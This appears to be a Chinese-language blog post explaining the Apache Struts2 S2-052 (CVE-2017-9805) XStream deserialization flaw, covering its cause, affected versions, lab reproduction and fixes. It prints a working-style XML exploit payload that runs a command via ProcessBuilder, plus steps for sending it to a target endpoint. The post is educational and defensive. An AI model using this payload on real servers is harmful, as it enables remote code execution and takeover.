Apache Struts2 远程命令执行漏洞(S2-052)

发布于:2025-07-05 ⋅ 阅读:(14) ⋅ 点赞:(0)

一、漏洞概述

       S2-052 是 Apache Struts2 框架中一个高危的远程代码执行漏洞(CVE-2017-9805),由安全研究人员于 2017 年发现并公开。该漏洞源于 Struts2 的 REST 插件在使用 XStream 组件处理 XML 反序列化时,未对用户输入的 XML 数据进行严格过滤,导致攻击者可构造恶意 XML 请求,在目标服务器上执行任意命令,获取系统权限。

二、漏洞成因

  1. XStream 反序列化缺陷
           Struts2 的 REST 插件通过 XStreamHandler 处理 XML 格式的请求数据,但未对反序列化过程中的类类型进行限制。攻击者可利用 XStream 的动态加载机制,通过恶意 XML 触发反射调用,执行系统命令。

  2. 关键触发点

    • javax.imageio.spi.FilterIterator:恶意 XML 中通过该类的 next() 方法调用 Filter 的 filter(),进而触发反射。
    • javax.imageio.ImageIO$ContainsFilter:通过反射调用 java.lang.ProcessBuilder.start(),执行系统命令。
  3. 攻击链示例
           恶意 XML 请求中构造多层嵌套对象,最终调用 ProcessBuilder.start(),例如:

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                  <cipher class="javax.crypto.NullCipher">
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                      <iter class="javax.imageio.spi.FilterIterator">
                        <next class="java.lang.ProcessBuilder">
                          <command>
                            <string>calc.exe</string> <!-- 示例命令:弹出计算器 -->
                          </command>
                        </next>
                      </iter>
                      <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                        </method>
                      </filter>
                    </serviceIterator>
                  </cipher>
                </is>
              </dataSource>
            </dataHandler>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
      </entry>
    </map>

三、影响范围

受影响版本:Struts 2.3.x 系列:2.3.0 - 2.3.33、Struts 2.5.x 系列:2.5.0 - 2.5.12

不受影响版本:Struts 2.3.34 及以上、Struts 2.5.13 及以上

四、攻击场景与危害

  1. 攻击条件
    • 目标系统使用受影响的 Struts2 版本。
    • 启用了 REST 插件(默认可能未启用,但部分应用会显式配置)。
    • 攻击者可构造恶意 XML 请求(如通过 Burp Suite 修改请求头和请求体)。
  2. 危害等级:高危(CVSS 评分 9.8/10)
    • 远程代码执行:攻击者可直接执行系统命令,获取服务器控制权。
    • 数据泄露:通过命令执行读取敏感文件或数据库信息。
    • 内网渗透:以受感染服务器为跳板,进一步攻击内网其他系统。

五、检测与复现

  1. 检测方法
    • 版本检查:通过应用日志或管理界面确认 Struts2 版本。
    • 请求模拟:使用 Burp Suite 发送 Content-Type: application/xml 的请求,观察是否返回 500 错误(可能触发漏洞)。
  2. 复现步骤(示例)
    • 环境搭建:使用 Docker 启动存在漏洞的 Struts2 应用(如 vulhub/struts2/s2-052)。
    • 构造请求
      1. 访问目标 URL(如 http://target/orders/3/edit)。
      2. 拦截请求,修改 Content-Type 为 application/xml
      3. 替换请求体为恶意 XML(如上述示例)。
    • 验证结果:若服务器返回 500 错误且目标系统执行了命令(如弹出计算器),则漏洞存在。

六、修复与防护建议

  1. 升级框架:立即升级至 Struts2 2.3.34 或 2.5.13 及以上版本。
  2. 临时缓解措施
    • 禁用 REST 插件:若无需 REST 功能,可在 struts.xml 中移除相关配置。
    • 限制 XML 处理:通过自定义 XStreamPermissionProvider 限制允许反序列化的类。
  3. 输入验证与过滤:对用户输入的 XML 数据进行严格校验,禁止特殊字符或恶意语法。
  4. 安全防护工具
    • 部署 WAF(Web 应用防火墙),拦截包含恶意 XML 特征的请求。
    • 使用 RASP(运行时应用自我保护) 技术监控异常行为。

七、历史案例与影响

2017 年大规模攻击:漏洞公开后,互联网上出现大量利用代码,导致全球数千台服务器被入侵。

企业级应用风险:金融、电商等行业的 Struts2 应用若未及时修复,可能面临数据泄露或业务中断。

 结语    

超级努力

追求极致

!!!


网站公告

今日签到

点亮在社区的每一天
去签到